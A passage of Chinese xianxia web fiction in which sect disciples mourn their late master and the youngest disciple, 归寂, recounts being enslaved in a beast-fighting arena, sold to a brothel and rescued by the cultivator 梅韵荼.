等归舟情绪稳定了一些后,在归舟耳边说:“我已传信于大师兄和小师弟,他们不日就赶来,等他们来时,再给师尊行‘焚天仪’。”
归舟什么话都没说,轻点了一下头。归夜让剩余弟子离开后,对归舟说:“师尊仙逝前,让我务必带你去他院中,说院中有一密室,里面有你想要知道的答案,只有你能打开。”
归舟本想谢过归夜,却不曾想,刚站起身又吐出一口血。
归夜拉起他的腕子探了一下:“你伤势未痊愈,恐
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怕也打不开,待伤势痊愈时再另做打算吧。”
归舟“嗯”了一声,但是没走几步就倒下了。
归夜无奈:果然,这个师弟的性子还是太偏执了!
……
归夜将力竭晕倒的归舟带回了他的院子,碰巧遇到了正在煎药的归染。
归染像是有先见之明,竟已提前开始在这煎药,好像早就知道,这间院子的主人会重伤而归。
归夜疑惑的问了一句:“师妹这是在做什么?”
归染没有抬头,忙着手中的事回答:“师兄,我在煎药。”
归夜无言以对:“你知道我说的不是这个。”
“我奉师命,全力救治师弟,早些时候师弟拼命冲破结界御剑离开,我便知他撑不了多久,早早开始准备,就是这般为师弟着想,师兄还要为难我吗?”归染的话虽然说的委屈,但是语气却很强硬。
归夜看着归染,半晌才说:“师妹,师兄有一疑问,困扰多年了,今日可否请师妹为我解惑?”
归染冷笑一声:“师兄如此博学多才,怎么也会有疑惑?”她说完才觉得自己言语过于犀利了,语气稍微平和了一点:“罢了,师兄请讲。”
归夜沉默良久,等的归染都要不耐烦了才说:“师妹,在我记忆中,你我二人儿时关系,并不坏啊,为何近些年,你对我越发……”
归染闻言愣了一下,她也在思考:对啊,为什么呢?
归夜像是在求证一般:“我觉得我们是为了同一个人。”
“谁?”归染不解。
“他。”归夜指向了屋里的归舟。
“师妹我问你。”归夜说:“你可心悦他。”并无一丝一毫的疑问语气,如此斩钉截铁的“疑问”,答案也很明显了。
这次轮到归染沉默了,她看了看屋内的归舟,深吸了一口气说:“是。”单是回答这一个字,便像是耗尽了她所有力气。
归夜闻言,脸上露出笑容,不是嘲讽的笑容,而是找到了正确答案的喜悦。
“嗯,这就对了,问题的关键就出在了这里。你心悦他,自然与派中女修想法一致,而我先前为了得到师尊更多的关注,总是认为他虚伪,这些矛盾的源头,就是你我心中的私心。私心常有,可如今门派经不住内讧,师尊刚刚仙逝,师弟重伤未愈,宗门危矣,这个时候万不可横生枝节。如今误会说开是最好,我心结已解,师兄妹之间理应同心协力,为门派效力。”归夜说。
归染听后内心五味杂陈,她有些羞愧因为此等小事,竟与师兄有了十几年嫌隙,又佩服师兄,十几年的心结,竟能在一朝化解,师兄的胸襟,当真是令人望尘莫及!
她行礼说:“师兄有此等胸怀,日后定有一番大作为,方才师妹失礼了。”
归夜摆手笑道:“师妹,你我之间误会既已解开,同门间本不必如此,你在这照料师弟,这几日我暂替师弟之职。”
归染点头应下。
本就是幼时相识,对方品行如何自是最为了解,既然师兄说他心结已解,那便是解开了,同门之间最基础的信任是需要的,她信他。
……
再然后,是自己又梦见了这个梦。
梦里那个浑身是伤的男人究竟是谁?还有那个温柔的声音,为什么总觉得那么熟悉?
“不……不,不要!”归舟猛然惊醒。
睁开眼的瞬间,被外界的光刺痛,生理反应让他又闭上了眼睛。
在短暂的五感尽失后,他隐约听到耳边有人在唤自己,他又将眼微微睁开,这次终于能视物了。
身旁只有归染在,见他醒了,归染可算是松了一口气。
方才归舟猛然惊醒,眼睛刚一睁开又闭上了,吓得她还以为出了什么事,现在看来应该是昏迷太久,眼睛不适应强光,就没在意。
“师弟可还有哪里不舒服?”归染关心道。
她这几日见归舟不醒,很是着急,甚至曾尝试探入过他的识海,却在识海内发现了一道禁制,刚一触及,就被弹出来了,此等状况她也无能为力。
幸好,归舟现在醒了。
归舟在归染的搀扶下慢慢起身,久躺后,他感觉自己的感知能力好像下降了,良久才回答:“多谢师姐关心,现在感觉应是无碍了,这几日辛苦师姐了。”他行礼道。
归染忙按下他的手:“别客气,师弟嘛,就是用来宠的!”
归舟被她说得脸红,一时不知道该说些什么,幸好这时候归夜也来了,随他进来的还有三个人。
6. 回忆(二)
归舟见到来的三人,迟疑了一下,忙下床行礼:“大师兄,小师弟。”还没行完礼,又被归染给按回去了:“伤还没好透,一天天的净胡闹!”
归初说:“师弟伤势未愈,不必多礼,师尊仙逝,未能及时赶回,真是……”提及师尊,他的语气间全是愧疚。
归夜忙说:“师兄不必如此自责,师兄有此心,师尊九泉之下必然不会怪罪。”
就在众人为师尊仙逝而不露声色的难过时,一个与其他几人格格不入的声音哭到:“姐姐,我的师尊走了,以后我就再也没有师尊了,也没有人保护我了,呜呜呜……”
众人寻找声音的出处,看见是谁之后,都沉默了。
哭出声来的正是被唤作小师弟的人,他正向旁边一位年轻女子哭。
那年轻女子像是哄孩子一般摸了摸他的脑袋,温柔的说:“以后姐姐罩你,不哭了!”说完用手擦去了归寂脸上的泪水。
众人这才关注到这里还有个陌生女子。
“方才多有失礼,还不知阁下是?”归初问。
“大师兄!这是我下山历练时碰到的姐姐,人超级好!法力超强!还救了我!”归寂立刻就不哭了,还绘声绘色的向大家介绍。
年轻女子向众人行了一礼道:“在下名为梅韵荼,是解灵宗弟子。”
“师兄师姐,这个姐姐人可好了,我下山钱没了,是她帮我付的,还有,遇到危险都是她救的我,那次……”看见归寂没完没了又开始说,归染忙说:“梅姑娘,小师弟年纪尚轻,这一路上多有叨扰,您损失的钱财,辰秋落会尽数为您补上。”
“不必,我就是将他带回来,各位照看好他便是。”梅韵荼不知道为什么有些生硬的说。
“啊!姐姐,你要走啊,可是我……”归寂小声抗议道。
可是我舍不得你走啊。
梅韵荼显然是知道归寂要说什么,唇边微翘:“各位有缘再见。”说完头也不回的出了院子,御剑离开了。
归寂冲出院子时,已经看不见梅韵荼的踪迹了。
他失落的蹲在地上,小声嘟囔:“可是姐姐,我心悦你啊,这么多次救我,我不信你一点也没有动心。”他越说越委屈,眼泪滴在地上,一滴接着一滴。
“怎么?喜欢人家啊?”归染从后面走来打趣说。
“要你管!哼!偷看人家,真没礼貌!”归寂背过身哭。
归染上前揉了揉归寂的脑袋说:“你个傻小孩,这不是看气氛过于凝重了嘛,怎么还生气了?”
归寂“哼”一声,没有说话。
归染见他好些了,就笑道:“此生竟还有机会见你不说话,真难得啊!”
归寂在心里翻了个白眼:这个师姐,什么时候比自己还没有正形了?
还没想完就被归染打断了:“话说,你这么喜欢人家,怎么方才不去追啊?”
归寂叹了口气说:“师姐,此番回来,我是来祭奠师尊的,这是最要紧的事,二来,我是想追啊,可是我追的上吗?她那么厉害。”说完他又缩成一团了。
归染笑着看着他:“我看刚才的举动,人家梅姑娘对你不一定没有情啊~”
归寂低下头去,不让归染看见他有些红了的脸。
归染见状也没再说什么,只是拍了拍他的肩膀,就回到归舟的院子中去了。
留下归寂一个人望着梅韵荼离开的方向发呆。
躲在暗处的梅韵荼看着归寂笑了一下:这傻小子还蛮可爱的,等你我二人各自处理完事情,会有再见的那一天!
……
归寂失魂落魄的走回归舟的院子,里面的三人还在说事,只有归染在摆弄归舟院子里的那些蔬菜。
归寂闲来无事,上去就拔了个白萝卜回来,边啃边发呆。
归染走上前,在他耳旁悄悄地问:“师弟啊,你是怎么认识那个‘姐姐’的啊?”
归寂被吓得一个激灵,看着归染脸上不怀好意的微笑和她一脸八卦的样子,归寂知道自己完了,这下真的瞒不住了。师姐知道了,就等于整个门派的女修都知道了,女修都知道了,就意味着整个门派的人就全都知道了。
要是说了,自己的清白之身将毁于此刻啊!
归寂想到这,尴尬的笑着说:“嘿嘿,师姐,没什么啊,就是那种,英雄救美的场景啊,只不过英雄是她而已啦!嘿嘿嘿!”
归染一看他就没说实话,将手撑在归寂坐着的大石头两侧,身子往前一探。
这可把归寂吓了一跳,他连忙瞬移开来,冲着归染喊:“师姐,你…你你自重啊!”
屋内的三人自然是听见了屋外的吵闹声,归初无奈道:“小师弟还是这般活泼啊!”
归夜笑着说:“以后这门派可要重新热闹起来了,想当初师尊让他下山历练,不就是因为他太吵了吗?他一下去,还真是冷清了不少啊!”
归舟淡淡的摇了摇头:“小师弟天真好动,还真是……可爱啊!”
三人闻言都相视一笑。
……
归染一步一步朝着归寂走过来,归寂吓得连连后退,嘴上还忙着说:“师姐啊,这是做什么啊?我可什么都没干啊!”
归染笑着说:“嗯嗯,师姐知道你什么也没干啊,这不是看你这么久没回来,想跟你亲近一下嘛。”话说的虽然温柔,但是脚下的步子一点没停下。
归寂僵着脸笑着说:“师姐,这几年我很好啊!不用亲近……啊!”
归染突然瞬移到他面前,把归寂又吓了一跳,叫喊起来。
然后转身拔腿就跑,边跑边喊:“师姐啊,我错了,你别追我啦!”
归染在后面紧跟着,边追边笑:“哎呀,师弟,师姐不过是太久没见你了,想得紧嘛!你跑什么。”
归寂御剑就跑:“师姐,你想我我很感谢,但是我可不想你啊~”
归染见归寂御剑要逃离,立刻也召剑追了上去。
这瓜就在眼前,岂能不吃?
她见归寂御剑晃晃悠悠的,不免觉得好笑,冲着他的后背大喊:“师弟,接招!”
归寂听见后“啊”了一声赶紧回头,就见归染将一团灵力凝聚后冲他打来,归寂赶忙侧身躲开,同时回头喊:“师姐!你来真的啊!我要是被你打死了,师兄们绝对不会放过你……啊!”
他说话的功夫,没注意躲避,被归染打了个正着,疼的他龇牙咧嘴。
归染笑着说:“小师弟啊,你要是再废话,可就真没命了哦!”
归寂只能老老实实的继续往前飞,他知道师姐是想借此机会来探探,他这几年历练究竟有了多大的长进。
哎,归寂叹了口气,这下怕是要让师姐失望了,他这几年不是吃就是睡,根本没干实事。本来在山上的时候就懒,还学艺不精,到了山下没人看着,可不就更懒了。
也许就是因为啥也不干,给他的银子很快就花光了,他也就“理所应当”的流落街头了,就在他即将饿死的时候,遇到了一个人,这不“机缘”就来了?
归染见他的招式还跟以前一样烂,就知道他这几年根本没好好历练,却又发现他这个逃跑的速度,怎么比以前快了这么多?
有猫腻!
这下,她又有了更充分的理由要知道那个“八卦”是什么了!
想到这,她直接召出捆仙锁说:“去,抓住他。”捆仙锁很听话的就追了上去。
归寂突然感觉背后凉嗖嗖的,一看吓得魂都快没了,赶紧带剑瞬移。
捆仙锁本来差一点就抓住他了,还是让他给跑了,它有点失落,就连身上的金光都黯淡了。
见到归寂带剑瞬移,归染心里惊奇,哎呦!这小孩几年不见还真长进了?!
又看见捆仙锁好像很失落的样子,就过来安慰道:“没事,小锁,咱俩等会配合一下,来个阴招!”说完她还露出了一丝坏笑。
捆仙锁听后,兴奋的就连身上的光,都比原来的更亮了。还真是有什么样的主人,就有什么样的法器啊!
归染和她那法宝一起,将归寂赶到了门派中唯一四面环山的地方。
一路上,归寂还带剑瞬移了好几次。
要知道,瞬移一次消耗就极大,三次下来,他已经有点要支撑不住了。
而这一点,显然归染也发现了,她觉得已经不需要用那个阴招了。
果然,归寂的法力已经支撑不住他翻过这几座山,他现在连站在剑上都已经很费劲了。
归染到他身前五步的位置停下,慢悠悠的说:“师弟啊,跑不动了吧?那就别跑了,师姐也不为难你,你就把你这几年历练的事情,完完整整的给我讲一遍,我就放过你,怎么样?”
归寂本来就累的气喘吁吁,现在听到这话,气的一时竟没话怼她。就在他思绪不宁考虑要不要说出来的时候,他的法力耗尽了。
他的本命剑被迫消失,人也从高处坠下去了。
山谷里顿时响起了杀猪般的惨叫:“啊啊啊——”
归染见他掉了下去,先是笑了好一通,等笑够了,才终于想起来,这掉下去可不是闹着玩的,不死也得残!
她赶紧俯冲下去,但是由于刚才她笑的时间有点长了,她飞的速度赶不上归寂掉的速度。归染顿时感觉自己要完蛋了,这可是门派内“公认”的最可爱的小师弟啊!这要是出事了,她还真不好交代。
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就在归舟要摔到地上的时候,一道熟悉的身影掠过来接住了他。
归寂早就吓得闭上了眼睛,感觉自己身体被人接住之后,他才敢慢慢睁开眼。
映入眼帘的除了归舟还能是谁?
归寂心里有点失望,但还是不好意思的向归舟道了谢。
归染果然被归舟训了,一向不怎么说话的归舟居然一连串说了一堆。
“师姐,你就不能关爱一下小师弟吗?是,我虽然叫你师姐,但是你也确实比我小,你就不能跟小师弟和平共处吗?”
归染被说的无言以对,只能点了点头。但是她突然又想起来,这家伙,伤还没好利落,又出来了,还敢动用灵力!她一下子,底气就回来了。
“是,掌门师弟说的都对,但是,师弟你伤没好,又出来了?”归染质问道。
这回轮到归舟无话可说了,只能又说了句:“你们二人别胡闹了。”就赶紧又御剑回到了自己的院子,到了院门口才想起来,不能动用灵力,好在归染忙着八卦,没空管他。
看着原本来了又走了的“援兵”,归寂只觉得天又塌了,看来今天是非说不可了。
归染见自己的“瓜”好不容易保住了,长舒了一口气,又趁着归寂不备,用捆仙锁直接将人捆了个结实。
经过了一番斗争之后,归染终于是把人带到了自己的院子里。
将归寂推到院子里的摇椅上捆好,自己也变出来一把小木凳子坐在他对面。
归寂一脸生无可恋。
归染温柔的开口说:“师弟啊,快说嘛,你说完我保证不说出去。”
归寂很有骨气的把头一偏,梗着脖子不理她。
归染见状,又降低了限度:“好师弟啊,这样吧,我再给你两颗新炼制的最新配方的凝气丹,如何?”
果然,归寂闻言把头转了回来,但是还是没有理她。
这下好了,本来就没有多少耐心的归染,终于把耐心耗尽了。
她想:像教育这种不听话的弟弟,直接上药不就好了?
于是,她没给归寂任何反应时间,捏住他的下巴,就给他嘴里硬塞了一丸丹药。
归寂一番抵抗无果,只能咽下。
随着时间的推移,丹药开始发挥作用,他浑身上下痒得不能再痒,可是手脚又被捆上了挠不了痒痒,只能叫苦连天。
就在他因为浑身难受而像个毛毛虫一样扭动身体的时候,他猛然看见一只又大又长的蜈蚣!而且,那只蜈蚣正沿着他的大腿往上爬!
归寂瞬间就不再扭动了,像个布娃娃一样一动都不动,像是被吓傻了一样。
他抬头看时,正巧对上了归染的笑脸,看见归染笑的简直快要撅过去了。
这可把归寂气得不轻,但是小命要紧,他不得不求饶:“师姐,我错了啊,我错了还不行嘛,求求你大发慈悲饶了我吧!我全都说!”
眼见自己的目的达成,归染开心的不得了,又看归寂真的要被吓死了,她才将那只蜈蚣徒手拿走了,又冲着归寂洒了一把白色的粉末,解了他身上的药。
归寂生无可恋:算了,以后要是门派内没有自己的容身之所了,他就去投奔解灵宗了!
归寂又看了归染一眼,后者用不可违抗的眼神看了过来,归寂才认输般的开了口:“哎,这个事情吧,还得从我几年前下山时说起啊!”
……
归舟听话的回了自己的院子,过了半个时辰,才后知后觉的想起方才小师弟的面色看起来好像不太好,于是他不顾被归染训斥的“风险”,又折返回去。
等到了方才那个地方之后,一看人果然已经不在了,他就又去了归寂的院子。可是归寂的院子已经很久没有人住了,里面的杂草已经有快一人多高了,院子脏乱的,不像是人能住的地方。
经过归舟的一番思虑后,他果断去了归染的院子。
到了归染的院门外,他刚要敲门进去,就听见里面传出来一阵说话声,然后他的脸就以肉眼可见的速度“唰”的一下全红了,还一直红到了耳根。
他简直不敢相信自己刚刚听到了什么话!
光天化日,朗朗乾坤,竟有人白日宣淫?还是自己师弟?
他努力克制住了自己想要推门而入的冲动,觉得一定是自己听错了。自从中了毒之后,他的感知能力就下降了不少,不知道是不是修为没恢复的原因,他决定再听一会,誓要证明是自己的耳朵有问题,不是自己师弟干了…………
然后他的脸色就越来越难看,随着时间的推移,逐渐变得越来越红。
屋里的两个人还在继续说:“师姐啊,我告诉你,这个事情,不是你想的那样,是……”
8. 回忆(四)
归染看着归寂说到这里,满眼全是酸涩,她本以为小师弟这三年碰见了梅韵荼会被宠的很好,但好像并不是她想的那样,听起来小师弟好像受了很多苦。
她轻轻拍了拍归寂的肩膀:“别难过,不想说就不说了,以后哪天什么时候想说了,再说吧!”她虽然很想知道归寂这三年究竟发生了什么,但是归寂现在情绪极度低落,自己不能勉强,刚才那些不过是想逗逗他,现在这种情况,她还是有分寸的。
她进屋端了杯水出来,递给归寂:“喝吧,说了这么久应该是喝坏了!”
归寂接过水,看到水中的倒影,一瞬间,他仿佛又看见了那天晚上,然后手一抖,茶杯掉在地上,摔碎了。
归染看他表情不对,赶紧安慰道:“没事了,没事了,你现在在辰秋落,很安全。”
很久,归寂都没有说话,归染去看他,发现归寂也在看自己。
“师姐,就在那天晚上,我杀人了。”归寂带着哭腔说。
归染的表情凝重了几分,她这个师弟的品性,她自是了解。
小师弟胆子小,平时就连见到大一点的虫子都会害怕,如果不是被逼到一定程度,他不会杀人!
归染觉得这已经是归寂的一个心结了,如果不解开,恐怕对日后修行不利。
“师弟,你愿意告诉我,当时是什么情况吗?”归染小心翼翼的问。
归寂抬头,用一种很空洞的眼神看着她,然后僵硬的点了点头。
“那天晚上……”
归寂看着另一个被拎出去的奴隶,在这一刻,他终于明白了——人性。
这次的时间,比上次长了许多,大概三个时辰。
门开了。
开门的,是那个奴隶。
归寂猜到了,那只妖兽是低等妖兽,还未开启灵智,又受了这么重的伤,只吃点东西肯定是远远不够的。
今天的斗兽到此为止,外面的斗兽场渐渐安静下来,归寂将这些规律默默记下来,斗兽结束也是一整天结束。
谁知道晚上,有看守人员打开了归寂的笼子,归寂被一把拎了出去。
归寂为了观察周围的环境,一路上很安静,很快他就见到了斗兽场的全貌。
那是一个很大的很空旷的低地,旁边的看台不同的座位有不同的编号,应该是象征着不同的身份。
还没等他看完,就被人扔到了斗兽场。
“大人,这人就是那个被卖来的修士。”他听见一个男声说。
“嗯,都退下吧。”
这声音一出,归寂浑身的血液都凝固住了,他抬头看向看台,正是那日抽取他灵力之人!
归寂这一日的修习只恢复到了凝气三层,与这人对上,几乎毫无胜算。
他见那人轻轻落地,随后朝自己走来,归寂站起身看着他,那人笑了:“小家伙,还活着呢。”
归寂冷哼一声:“你都没死,我怎么敢死?”
那人嘴角抽搐了一下:“看来还是嘴硬啊,不好好收拾你一顿,你定是不会听话了。”
于是,那人直接出手,本以为归寂躲不开,但是没想到他躲开了。
那人不信邪似的一直出手,但是归寂就像一条泥鳅一样,怎么都打不中,终于,那人生气了。
一把剑出现在那人身前,一剑挥出,归寂来不及躲闪,身体横飞出去,还没爬起来,就呛出来一口血,那人这才满意了。
“蝼蚁,就该有蝼蚁的自觉!”
归寂艰难起身,看向那人的眼里全是恨意。
他突然转念一想,这人的法力基本上都是抽取别人的,自己几乎没怎么修炼,打斗时必定有破绽!
只要自己观察的够仔细,就一定可以将灵力拿回来!
他一掌拍向那人,那人见归寂不仅能站起来,还向自己发动了攻击,赶紧抬剑格挡,却还是晚了点,被打出去了数米。
归寂不等他反应,立刻上前,赤手空拳与那人搏斗。
他虽然修为不高,但是这么多年,辰秋落近身搏斗的训练,他可是一节没落下!
眼看那人节节败退,归寂的恨意直达顶峰,他祭出本命剑,一剑刺入了他的胸膛,趁那人没有反应,捏住手腕,抽取灵力。
那人显然没想到,一个只恢复到凝气修为的人能祭出本命剑!
拿回了本该属于自己的东西,他冷眼看着半跪在地上的那人,那人好像是被抽取灵力疼的站不起来。
归寂径直走了过去,但是刚走过去,他就听见后面传来了重物倒地的声音,他猛然回头,瞳孔顿时收缩。
那人躺在地上,死了。
归寂懵了,他没有刺中那人的要害啊!
我没有杀人,没有杀人……
归寂一直喃喃自语。
但是刚才拎他来的那个人,像是疯了一般,狂喊:“死人了!死人了!”
归寂的本命剑已经因为灵力支撑不住被迫消失了,他现在手边什么武器都没有,闻声而来的人却越来越多。
他恍惚的看着四周围上来的人,其中修为高出他者,也甚多。
灵力的攻击一波接着一波打在他身上,他刚才拼命祭出本命剑,已损伤了根基,此时若是再动用灵力,只怕会先没命了!
终于,在他脱力般倒下去的时候,人群才逐渐停止了攻击。
“师姐,我……我记得,我真的……真的没有杀人……我……”归寂嗓音开始变得颤抖,睫毛不停的颤动,泪水充斥了眼眶。
归染见状,温柔的蹲下抱住他:“好了,不是你的错,师弟不怕!这种人,杀了也死不足惜,如果我在,我一定拍手叫好!”
归染不敢相信,师弟下山历练的三年中,究竟发生了什么?逃跑的速度又为什么快了那么多!
“师姐,你相信我,我真的没有……”
“嗯,我知道,我相信你。”归染的语气温柔的像在哄小孩,她很心疼的看着自己的小师弟,明明在山上的时候还好好的,怎么出去了一趟,就受了这么多委屈?
“师姐,自那之后的每天,我都过着生不如死的生活……”归寂哽咽着。
“他们压制了我的法力,每天强迫我去与妖兽搏斗。而且,他们还不能让我就这样死了,可能因为我是个修士,所以每次受了重伤,还会找人为我医治,就这样一直受伤又被治好,受伤、治好,反反复复,伤是真真正正的,虽然当天就被治好了,但是我也会痛……这样不知道过了多久。”
归染心中的苦涩泛起涟漪,一圈一圈泛开。
相识这么多年,归染已经将归寂当做了自己的弟弟,如今得知三年历练,弟弟受了如此之多的委屈,她就恨不得将那斗兽场中的人,五马分尸!
“师弟,你可还记得那些人的所在之处?我明日就带人去端了他们!”归染心中的熊熊烈火燃烧了起来。
“他们已经覆灭了。”归寂缓缓地说。
归染疑惑:“嗯?谁做的?”
“不知道,可能也有我的一小份功劳。”
“当时,我与妖兽搏斗,受了伤,还没有被医治,斗兽场好像什么地方爆炸了,那些人就全都跑过去了。我看见他们都跑了,就赶紧去找那些被困的人,让他们快跑。他们虽然对生死早已麻木,但对于自由的那种渴望,在我的劝说之下,又重新燃起了希望,就跟着我一起跑了出去。我们出去的时候,那些人已经死了大半,我将他们护送出去留下来垫后,但是又因为伤势和灵力受限,被擒……”
归染打断了他,她实在是听不下去了:“归寂,我说,咱下次帮助别人的时候,能先照顾好自己吗?有好的不学非学那个不好的,少学点你师兄,多学学我!”
归寂撇了撇嘴说:“师姐,你知道我的,我从小就这样,江山易改本性难移嘛~”
归染:……好好好,我也是没招了。
“所以呢?又被抓住了之后,你是咋出来的?”归染刚才的那股子心疼,在听他说完后,一下子全都没有了,语气也变得不耐烦起来。
“呃,其实不是我自己出来的……”归寂说这话的时候,莫名的心虚,他半抬眼,小心翼翼地看着归染。
归染灵敏地捕捉到了这一点,强硬的看了回去。
归寂默默收回了目光。
“那个,嘿嘿,当时伤得有点重,法力又得不到补充,就……所以我醒来的时候,被卖到了花楼里……接客……”归寂的声音越说越小,因为他看见了归染眼里仿佛要溢出来的怒火。
“你?被卖到了哪里?花楼?”归染感觉自己气得头晕,眼前直冒星星。她一只手指着归寂的脸一只手扶额,不停的深呼吸,想尽办法使自己平静下来。
“意外,意外……”归寂尴尬地解释着。
归染咬牙切齿的说:“归寂!你要是下次再让我知道,你不顾自己的安危去救别人,就不要再回来了,要是回来了,我先收拾你!”
“然后呢?”归染的白眼都快要翻到到天上去了。
归寂有些脸红的说:“嗯,这个……不太好描述……”
归染:???
她的大脑好像宕机了,脑海中时不时闪现一些不可描述的画面,她由愤怒转变为了错愕。
自己一向乖巧懂事的师弟,被人拱了?
归染顿时感到一阵头痛,她闭上眼睛,安详的说:“谁啊?然后呢?”
“嗯?什么?”归寂一脸莫名其妙:“什么谁啊?什么什么?”
“就是你那个……”归染有些窘迫,好像这些事情是她做的一样:“这种事情,以后还是少做哈,少儿不宜、少儿不宜!”
归寂听的一头雾水:“什么啊!师姐!你在想些什么!当时那个花楼里面的老鸨,好像觉得我皮相尚可,所以打算高价拍卖,但是我反抗的很激烈,虽然绑住了手脚,却还是关不住我。我又在挣扎中无意划伤了脸,老鸨说,等我脸好了再去。这种好机会我怎么能放弃?每次伤口快要好的时候,我就再次撞破,整了好几次,花楼里面的人不干了,不能放任一个男人白吃白住,
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伙食费还要钱呢!然后隔天就给我下了药……”
……
“喝,快喝!”
“唔…唔,呸!不可能!”归寂满脸药汁,头发凌乱,样子狼狈不堪。
“我高价把你买回来,可不是为了好吃好喝供着你的!总是得让我回本吧?”老鸨站在不远处,冷漠的说:“这位小公子,你虽然来的时候不太清醒,但还是要时刻记住了,你的卖身契,在我这!”
归寂心中迟疑:我何时签过这种东西?
就在他跑神的时候,下巴被人死死捏住,那碗他死活都不肯喝的药,被硬生生灌了进去!
见药被灌了进去,老鸨示意众人放开他,归寂扑倒在地上,不停的干呕,想要把药呕出去,但是没有用。
老鸨轻笑了一声,很是满意:“把人清洗干净,今天晚上开张!”
“是”
归寂趴在地上,看着不远处的门,这一刻,他比任何人都想要跑出去,但是药效好像上来了,此刻的他浑身无力,只能任由人拖着自己去清洗。
好巧不巧,就在他被人半推搡着迈入桶底的一瞬间,一瞬的刺痛过后,令他有些模糊的神智清醒了不少。
那桶底有一块板子翘了起来,硌疼了他的脚。
没有时间让他仔细的思考,他用力踩上去,虽然很疼,但是他知道,这是唯一能够自救的方法了。
还有些混沌的神经,被突如其来的阵痛刺激的清醒了许多。
归寂不停的用疼痛来保持自己神志清醒,在那两人转身的瞬间,他猛地起身,两掌拍出,将两人拍飞!
他踉跄了一下,扶着桶壁站稳了,心道,这药还真是厉害!
匆忙的穿好了衣服,给受伤的脚简单包扎了一下,又在起身的时候,突然眼前发黑,只能在半摸索中翻窗跳下去。
脚步虚浮,他只身一人穿梭在巷子里。
归寂不知道多长时间之后会有人追上他,也不知道自己还能不能挺住这药力。
转了好几个弯,到了一个相对安静的小巷子里,他体力不支,靠着墙滑落下去,呼出的气体都是炽热的,脚上的伤口也还在流血……
归寂模模糊糊的感觉有人一直在给他输送法力,凉飕飕的很舒服。
那人动作轻柔,头好像被人轻轻抬起来,接着有液体流入口中......归寂没有睁开眼睛的力气,他不知道是谁一直在照顾他。
不知道过了多久。
“咳咳…咳”归寂缓缓睁开眼睛,眼前一片模糊,浑身酸痛不已,甚至连坐起来的力气都没有。
“你醒了?”
归寂在模糊中听到了一道女声。
“嗯”
本来只想回答一声,没想到一开口,声音嘶哑的不像样子,那年轻女子好像早就知道了这一点,很贴心的喂了他一杯水。
归寂缓了好半天,才后知后觉的发现,自己竟躺在那个年轻女子的怀里!
他赶紧做起来,眼前又是一阵晕眩,良久才说:“姑娘,抱歉,我……事出有因,不是故意的,我……”
“好了,本来就是我救得你。”她的声音利落干净,没有一丝杂质,带着令人清醒的凉意。
“多谢姑娘出手相救,若日后有什么事,我能帮得上的,尽量帮。”归寂生疏的拱手。
年轻女子好像笑了:“小孩,你自己都伤这样了,你还能怎么帮我呢?”
归寂也知道这是自己的客套话,这女子一看就不是普通人。
于是,他别过头去,在转头时看见了屋内的陈设,好奇之下问道:“姑娘,这是何处?”
“我家。”
“我为什么会在你家?”归寂一点也不记得中了药之后的事情。
年轻女子说:“小孩,你中了药,我发现你的时候,你浑身滚烫,脚还受了伤,这药若不及时解对身体损害极大,见你是修士,就给你渡了些灵力,帮你压制了,不过没有解药,终究还是一件麻烦事。”
归寂行礼:“姑娘与我素不相识,能救在下已经感激不尽,只是在下有一问题,不知当讲不当讲。”
年轻女子笑道:“讲。”
归寂:“姑娘也是修士,应该还是一位很强大的修士,以我的修为看不透你,只是这天下的散修,据我所知,还没有人能够修炼得像姑娘这般厉害,如果是邪修,想必不会救我,若姑娘是名门正派,那又为何会在此处?”
“嗯,还不算太傻,问题问得好,不过我不能说。”年轻女子回答。
归寂:还不如不问……明明就是什么都没说。
“好了,门派机密,确实不能说,唯一能告诉你的就是,我出身于中原四大名门其中之一,姓梅,名韵荼。”梅韵荼说。
“归寂,也是中原四大名门之一,辰秋落弟子。”归寂秉持着礼尚往来,报出了自己的门派和姓名。
梅韵荼点了点头说:“不错,小家伙很爽快,你别介意,我性子直,不太会说话,以后要是有什么误会,还请你记住这一点。”
9. 回忆(五)
“等一下。”归染打断了归寂:“你是说,你现在体内还有残毒?”
“其实已经没事了,只要没有特定的药物刺激,不会有事的。”归寂认真的解释。
归染当场就气笑了:“怎么你们一个两个的出去了一趟,回来都受了伤,还都中了毒,我真是服了!合着门派上下,就我一个能救人的,得着我薅呗!”
归寂:嘿嘿嘿……
门外不知道何时开始偷听的归舟:…………
“谁?”归染敏锐的感觉到了一丝灵力波动,一掌挥出。
“砰”的一声,院门被震开,归舟出手格挡,化解了那道掌力:“师姐。”
归染见到是归舟,心里不由得有点心虚。
“小师弟?你刚才说,你去了花楼?”归舟上来就问,因为他来的时候刚好听见了“花楼”,后面又听见了“姑娘”之类的字眼,他实在是不能相信,自己的师弟会做出这种事情!
事实证明,归舟的感知能力确实下降了不少,本就不远的距离,竟还会听不清楚。
归寂眼瞅着自己的清白就要毁在这两位师兄师姐身上了,忙开口解释:“不是,诶呦,是我自己能力不够,遭人暗算,梅姐姐救了我,后面等我伤好了一点,还带我去了花楼,拿回了我的卖身契。”
“卖身契?”归舟疑惑:“你下山历练,何时卖了身?”
归寂:“我的问题,我的问题,因为我笨。”他真的是没话说了。
“话说,师兄,师姐刚才说,你们一个两个出去都受了伤,还都中了毒,目前据我所知,出去的只有四师兄你还有二师兄,二师兄不久前见着状态不错,受了伤的只有你,师兄,你还中毒了?”归寂有些担心的问。
归舟淡淡的说:“嗯,无事,微微调理就没事了。”
归寂舒了口气:“哦哦,那就好,如今师尊已经不在了,我们五个,真的不能再少任何一个人了。”他说这话的时候,眼眶红红的。
“我们不会再少任何一个人。”归染安慰道:“以后我们都会好好的。”
“嗯嗯”归寂用力点了点头:“自从遇到梅姑娘之后,我的日子就变得好了很多,至少不会被人追着打了,能吃饱也能睡好,师姐,我要说的就是这么多了,虽然知道师姐你是怎样的人,但我还是希望你能替我保守秘密,其一就是梅姐姐的事情需要保密,其二就是,我身为师尊亲传弟子,被人折磨成这样,实在是没脸……”
归染冷笑一声:“我是什么样的人?不过算你有点自知之明,这瓶丹药给你了,好好调理调理吧。”沉默了一会儿,她又开口:“根基损坏修复很慢,早日突破修为给自己争口气,也能…给师尊长脸,让他老人家九泉之下安心。”
此话一出,三个人都不再说话了。
没过一会儿,归舟和归寂就离开了,原本热热闹闹的院子,一下子变得冷清起来,归染缓慢的踱步到秋千旁边,坐上去,慢慢的荡,眼中闪烁晶莹,往后,再也不会有人为她制秋千、也再也不会有人在后面推她了。
……
归舟坐起身,扶额叹息,怎么突然就想到这些了,这些都是两年前的旧事了。
归舟自嘲的笑了笑,若不是两年前,他心慈手软救下了那一家,自己就不会中毒。
也就不会失去师尊……
